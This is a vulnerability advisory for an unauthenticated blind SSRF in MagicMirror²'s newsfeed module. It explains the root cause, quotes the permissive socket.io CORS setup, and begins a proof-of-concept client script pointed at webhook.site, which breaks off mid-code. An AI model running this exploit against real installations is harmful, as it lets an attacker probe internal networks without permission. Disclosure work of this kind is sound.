CVE-2026-63642

# Vulnerability — Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror² newsfeed) > Analysis of the PoC `exploit-ssrf-newsfeed.js`. > Target: `newsfeed/node_helper.js` of MagicMirror², socket.io namespace `/newsfeed`. --- ## Identification | Field | Value | |-------|-------| | **PoC file** | `exploit-ssrf-newsfeed.js` | | **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` | | **Precondition** | reach the mirror's HTTP port (no authentication required) | --- ## Description The `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: "HEAD" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`. This gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target. The actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service's log), since the `canFrame` field alone leaks little. --- ## Root cause: unauthenticated socket.io channel + permissive CORS The socket.io server accepts connections from **any origin** and with **no authentication**: ```js const io = new Server(server, { cors: { origin: /.*$/, credentials: true } }); ``` The `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification. --- ## Exploit (`exploit-ssrf-newsfeed.js`) ```js const { io } = require("socket.io-client"); const TARGET = process.env.MM || "https://target/"; const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site"; const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] }); socket.onAny((event, payload) => { if (event === "ARTICLE_URL_STATUS") {